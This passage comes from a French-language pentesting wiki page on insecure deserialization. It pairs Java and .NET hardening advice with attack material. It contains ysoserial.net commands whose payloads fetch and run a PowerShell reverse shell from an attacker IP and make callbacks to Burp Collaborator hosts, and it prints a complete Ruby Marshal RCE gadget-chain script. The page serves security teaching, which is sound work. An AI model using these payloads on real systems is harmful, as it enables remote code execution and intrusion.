modifications de code immédiates sont impraticables. Consultez un exemple dans [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) **Mise en œuvre des filtres de sérialisation**: Java 9 a introduit des filtres de sérialisation via l'interface **`ObjectInputFilter`**, offrant un mécanisme puissant pour spécifier les critères que les objets sérialisés doivent respecter avant d'être désérialisés. Ces filtres peuvent être appliqués globalement ou par flux, offrant un contrôle granulaire sur le processus de désérialisation. Pour utiliser les filtres de sérialisation, vous pouvez définir un filtre global qui s'applique à toutes les opérations de désérialisation ou le configurer dynamiquement pour des flux spécifiques. Par exemple: ```java ObjectInputFilter filter = info -> { if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) { return Status.REJECTED; // Restrict to allowed classes } return Status.ALLOWED; }; ObjectInputFilter.Config.setSerialFilter(filter); ``` **Exploiter les bibliothèques externes pour une sécurité renforcée** : Des bibliothèques telles que **NotSoSerial**, **jdeserialize** et **Kryo** offrent des fonctionnalités avancées pour contrôler et surveiller la désérialisation Java. Ces bibliothèques peuvent fournir des couches de sécurité supplémentaires, telles que la liste blanche ou noire des classes, l'analyse des objets sérialisés avant la désérialisation et la mise en œuvre de stratégies de sérialisation personnalisées. * **NotSoSerial** intercepte les processus de désérialisation pour empêcher l'exécution de code non fiable. * **jdeserialize** permet l'analyse des objets Java sérialisés sans les désérialiser, aidant à identifier un contenu potentiellement malveillant. * **Kryo** est un framework de sérialisation alternatif qui met l'accent sur la vitesse et l'efficacité, offrant des stratégies de sérialisation configurables qui peuvent renforcer la sécurité. ### Références * [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) * Présentation sur la désérialisation et ysoserial : [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) * [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) * [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ) * Présentation sur gadgetinspector : [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) et diapositives : [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) * Document Marshalsec : [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) * [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) * [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) * [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) * Document sur la désérialisation JSON en Java et .Net : [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** présentation : [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) et diapositives : [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) * CVEs de désérialisation : [https://paper.seebug.org/123/](https://paper.seebug.org/123/) ## Injection JNDI & log4Shell Découvrez ce qu'est l'**injection JNDI, comment l'exploiter via RMI, CORBA & LDAP et comment exploiter log4shell** (et un exemple de cette vulnérabilité) sur la page suivante : {% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} [jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md) {% endcontent-ref %} ## JMS - Java Message Service > L'API **Java Message Service** (**JMS**) est une API middleware orientée messages en Java pour l'envoi de messages entre deux clients ou plus. Il s'agit d'une implémentation pour résoudre le problème producteur-consommateur. JMS fait partie de la plateforme Java Enterprise Edition (Java EE) et a été défini par une spécification développée chez Sun Microsystems, mais qui est depuis guidée par le Java Community Process. C'est une norme de messagerie qui permet aux composants d'application basés sur Java EE de créer, envoyer, recevoir et lire des messages. Elle permet à la communication entre différents composants d'une application distribuée d'être faiblement couplée, fiable et asynchrone. (De [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)). ### Produits Plusieurs produits utilisent ce middleware pour envoyer des messages : ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (314).png>) ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (1056).png>) ### Exploitation En gros, il y a **une série de services utilisant JMS de manière dangereuse**. Par conséquent, si vous avez **suffisamment de privilèges** pour envoyer des messages à ces services (généralement vous aurez besoin d'identifiants valides), vous pourriez être en mesure d'envoyer des **objets malveillants sérialisés qui seront désérialisés par le consommateur/abonné**.\ Cela signifie que dans cette exploitation, tous les **clients qui vont utiliser ce message seront infectés**. N'oubliez pas que même si un service est vulnérable (car il désérialise de manière non sécurisée des entrées utilisateur), vous devez toujours trouver des gadgets valides pour exploiter la vulnérabilité. L'outil [JMET](https://github.com/matthiaskaiser/jmet) a été créé pour **se connecter et attaquer ces services en envoyant plusieurs objets malveillants sérialisés en utilisant des gadgets connus**. Ces exploits fonctionneront si le service est toujours vulnérable et si l'un des gadgets utilisés est présent dans l'application vulnérable. ### Références * Présentation JMET : [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) * Diapositives : [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) ## .Net Dans le contexte de .Net, les exploits de désérialisation fonctionnent de manière similaire à ceux trouvés en Java, où des gadgets sont exploités pour exécuter un code spécifique lors de la désérialisation d'un objet. ### Empreinte digitale #### Boîte Blanche Le code source doit être inspecté à la recherche des occurrences de : 1. `TypeNameHandling` 2. `JavaScriptTypeResolver` L'accent doit être mis sur les sérialiseurs qui permettent au type d'être déterminé par une variable sous le contrôle de l'utilisateur. #### Boîte Noire La recherche doit cibler la chaîne encodée en Base64 **AAEAAAD/////** ou tout motif similaire qui pourrait subir une désérialisation côté serveur, accordant le contrôle sur le type à désérialiser. Cela pourrait inclure, mais sans s'y limiter, des structures **JSON** ou **XML** présentant `TypeObject` ou `$type`. ### ysoserial.net Dans ce cas, vous pouvez utiliser l'outil [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) pour **créer les exploits de désérialisation**. Une fois le dépôt git téléchargé, vous devriez **compiler l'outil** en utilisant Visual Studio par exemple. Si vous souhaitez en savoir plus sur **comment ysoserial.net crée son exploit**, vous pouvez [**consulter cette page où est expliqué le gadget ObjectDataProvider + ExpandedWrapper + formateur Json.Net**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). Les principales options de **ysoserial.net** sont : **`--gadget`**, **`--formatter`**, **`--output`** et **`--plugin`.** * **`--gadget`** utilisé pour indiquer le gadget à exploiter (indiquer la classe/fonction qui sera exploitée lors de la désérialisation pour exécuter des commandes). * **`--formatter`**, utilisé pour indiquer la méthode pour sérialiser l'exploit (vous devez savoir quelle bibliothèque est utilisée en back-end pour désérialiser la charge utile et utiliser la même pour la sérialiser) * **`--output`** utilisé pour indiquer si vous voulez l'exploit en **brut** ou encodé en **base64**. _Notez que **ysoserial.net** va **encoder** la charge utile en utilisant **UTF-16LE** (encodage utilisé par défaut sur Windows) donc si vous obtenez le brut et que vous l'encodez simplement depuis une console Linux, vous pourriez rencontrer des **problèmes de compatibilité d'encodage** qui empêcheront l'exploit de fonctionner correctement (dans la boîte JSON HTB, la charge utile a fonctionné en UTF-16LE et en ASCII mais cela ne signifie pas que cela fonctionnera toujours)._ * **`--plugin`** ysoserial.net prend en charge les plugins pour créer des **exploits pour des frameworks spécifiques** comme ViewState #### Plus de paramètres ysoserial.net * `--minify` fournira une **charge utile plus petite** (si possible) * `--raf -f Json.Net -c "anything"` Cela indiquera tous les gadgets qui peuvent être utilisés avec un formateur fourni (`Json.Net` dans ce cas) * `--sf xml` vous pouvez **indiquer un gadget** (`-g`) et ysoserial.net recherchera des formateurs contenant "xml" (insensible à la casse) Exemples de **ysoserial** pour créer des exploits: ```bash #Send ping ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64 #Timing #I tried using ping and timeout but there wasn't any difference in the response timing from the web server #DNS/HTTP request ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64 #Reverse shell #Create shell command in linux echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0 #Create exploit using the created B64 shellcode ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` **ysoserial.net** a également un **paramètre très intéressant** qui aide à mieux comprendre comment chaque exploit fonctionne : `--test`\ Si vous indiquez ce paramètre, **ysoserial.net** va **essayer** l'**exploit localement**, vous pouvez donc tester si votre charge utile fonctionnera correctement.\ Ce paramètre est utile car si vous examinez le code, vous trouverez des morceaux de code comme celui-ci (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java if (inputArgs.Test) { try { SerializersHelper.JsonNet_deserialize(payload); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } ``` Cela signifie qu'en vue de tester l'exploit, le code appellera [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) ```java public static object JsonNet_deserialize(string str) { Object obj = JsonConvert.DeserializeObject(str, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); return obj; } ``` Le **code précédent est vulnérable à l'exploit créé**. Donc, si vous trouvez quelque chose de similaire dans une application .Net, cela signifie probablement que cette application est également vulnérable.\ Par conséquent, le paramètre **`--test`** nous permet de comprendre **quels morceaux de code sont vulnérables** à l'exploit de désérialisation que **ysoserial.net** peut créer. ### ViewState Jetez un œil à [ce POST sur **comment essayer d'exploiter le paramètre \_\_ViewState de .Net**](exploiting-\_\_viewstate-parameter.md) pour **exécuter du code arbitraire**. Si vous **connaissez déjà les secrets** utilisés par la machine victime, [**lisez ce post pour savoir comment exécuter du code**](exploiting-\_\_viewstate-knowing-the-secret.md)**.** ### Prévention Pour atténuer les risques associés à la désérialisation en .Net : * **Évitez de permettre aux flux de données de définir leurs types d'objets.** Utilisez `DataContractSerializer` ou `XmlSerializer` lorsque c'est possible. * **Pour `JSON.Net`, définissez `TypeNameHandling` sur `None` :** %%%TypeNameHandling = TypeNameHandling.None%%% * **Évitez d'utiliser `JavaScriptSerializer` avec un `JavaScriptTypeResolver`.** * **Limitez les types pouvant être désérialisés**, en comprenant les risques inhérents aux types .Net, tels que `System.IO.FileInfo`, qui peuvent modifier les propriétés des fichiers du serveur, entraînant potentiellement des attaques de déni de service. * **Soyez prudent avec les types ayant des propriétés risquées**, comme `System.ComponentModel.DataAnnotations.ValidationException` avec sa propriété `Value`, qui peut être exploitée. * **Contrôlez de manière sécurisée l'instanciation des types** pour empêcher les attaquants d'influencer le processus de désérialisation, rendant même `DataContractSerializer` ou `XmlSerializer` vulnérables. * **Implémentez des contrôles de liste blanche** en utilisant un `SerializationBinder` personnalisé pour `BinaryFormatter` et `JSON.Net`. * **Restez informé des gadgets de désérialisation insécurisés connus** dans .Net et assurez-vous que les désérialiseurs n'instancient pas de tels types. * **Isoler le code potentiellement risqué** du code ayant un accès Internet pour éviter d'exposer des gadgets connus, tels que `System.Windows.Data.ObjectDataProvider` dans les applications WPF, à des sources de données non fiables. ### **Références** * Document sur la désérialisation JSON en Java et .Net : [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** présentation : [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) et diapositives : [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) * [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp) * [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf) * [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) ## **Ruby** En Ruby, la sérialisation est facilitée par deux méthodes de la bibliothèque **marshal**. La première méthode, appelée **dump**, est utilisée pour transformer un objet en un flux d'octets. Ce processus est appelé sérialisation. En revanche, la deuxième méthode, **load**, est utilisée pour reconvertir un flux d'octets en un objet, un processus appelé désérialisation. Pour sécuriser les objets sérialisés, **Ruby utilise HMAC (Code d'authentification de message basé sur le hachage)**, garantissant l'intégrité et l'authenticité des données. La clé utilisée à cette fin est stockée dans l'un des emplacements possibles suivants : * `config/environment.rb` * `config/initializers/secret_token.rb` * `config/secrets.yml` * `/proc/self/environ` **Chaîne de gadgets RCE de désérialisation générique Ruby 2.X (plus d'informations dans** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**: ```ruby #!/usr/bin/env ruby # Code from https://www.elttam.com/blog/ruby-deserialization/ class Gem::StubSpecification def initialize; end end stub_specification = Gem::StubSpecification.new stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2" puts "STEP n" stub_specification.name rescue nil puts class Gem::Source::SpecificFile def initialize; end end specific_file = Gem::Source::SpecificFile.new specific_file.instance_variable_set(:@spec, stub_specification) other_specific_file = Gem::Source::SpecificFile.new puts "STEP n-1" specific_file <=> other_specific_file rescue nil puts $dependency_list= Gem::DependencyList.new $dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file]) puts "STEP n-2" $dependency_list.each{} rescue nil puts class Gem::Requirement def marshal_dump [$dependency_list] end end payload = Marshal.dump(Gem::Requirement.new) puts "STEP n-3" Marshal.load(payload) rescue nil puts puts "VALIDATION (in fresh ruby process):" IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe| pipe.print payload pipe.close_write puts pipe.gets puts end puts "Payload (hex):" puts payload.unpack('H*')[0] puts require "base64" puts "Payload (Base64 encoded):" puts Base64.encode64(payload) ``` Autre chaîne RCE pour exploiter Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) ### Méthode Ruby .send() Comme expliqué dans [**ce rapport de vulnérabilité**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), si une entrée utilisateur non filtrée atteint la méthode `.send()` d'un objet ruby, cette méthode permet de **appeler n'importe quelle autre méthode** de l'objet avec n'importe quels paramètres. Par exemple, appeler eval puis du code ruby en tant que deuxième paramètre permettra d'exécuter du code arbitraire: {% code overflow="wrap" %} ```ruby .send('eval', '') == RCE ``` {% endcode %} De plus, si un seul paramètre de **`.send()`** est contrôlé par un attaquant, comme mentionné dans l'analyse précédente, il est possible d'appeler n'importe quelle méthode de l'objet qui **n'a pas besoin d'arguments** ou dont les arguments ont des **valeurs par défaut**.\ Pour cela, il est possible d'énumérer toutes les méthodes de l'objet pour **trouver des méthodes intéressantes qui répondent à ces critères**. {% code overflow="wrap" %} ```ruby .send('') # This code is taken from the original blog post # in this case is Repository ## Find methods with those requirements repo = Repository.find(1) # get first repo repo_methods = [ # get names of all methods accessible by Repository object repo.public_methods(), repo.private_methods(), repo.protected_methods(), ].flatten() repo_methods.length() # Initial number of methods => 5542 ## Filter by the arguments requirements candidate_methods = repo_methods.select() do |method_name| [0, -1].include?(repo.method(method_name).arity()) end candidate_methods.length() # Final number of methods=> 3595 ``` {% endcode %}
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.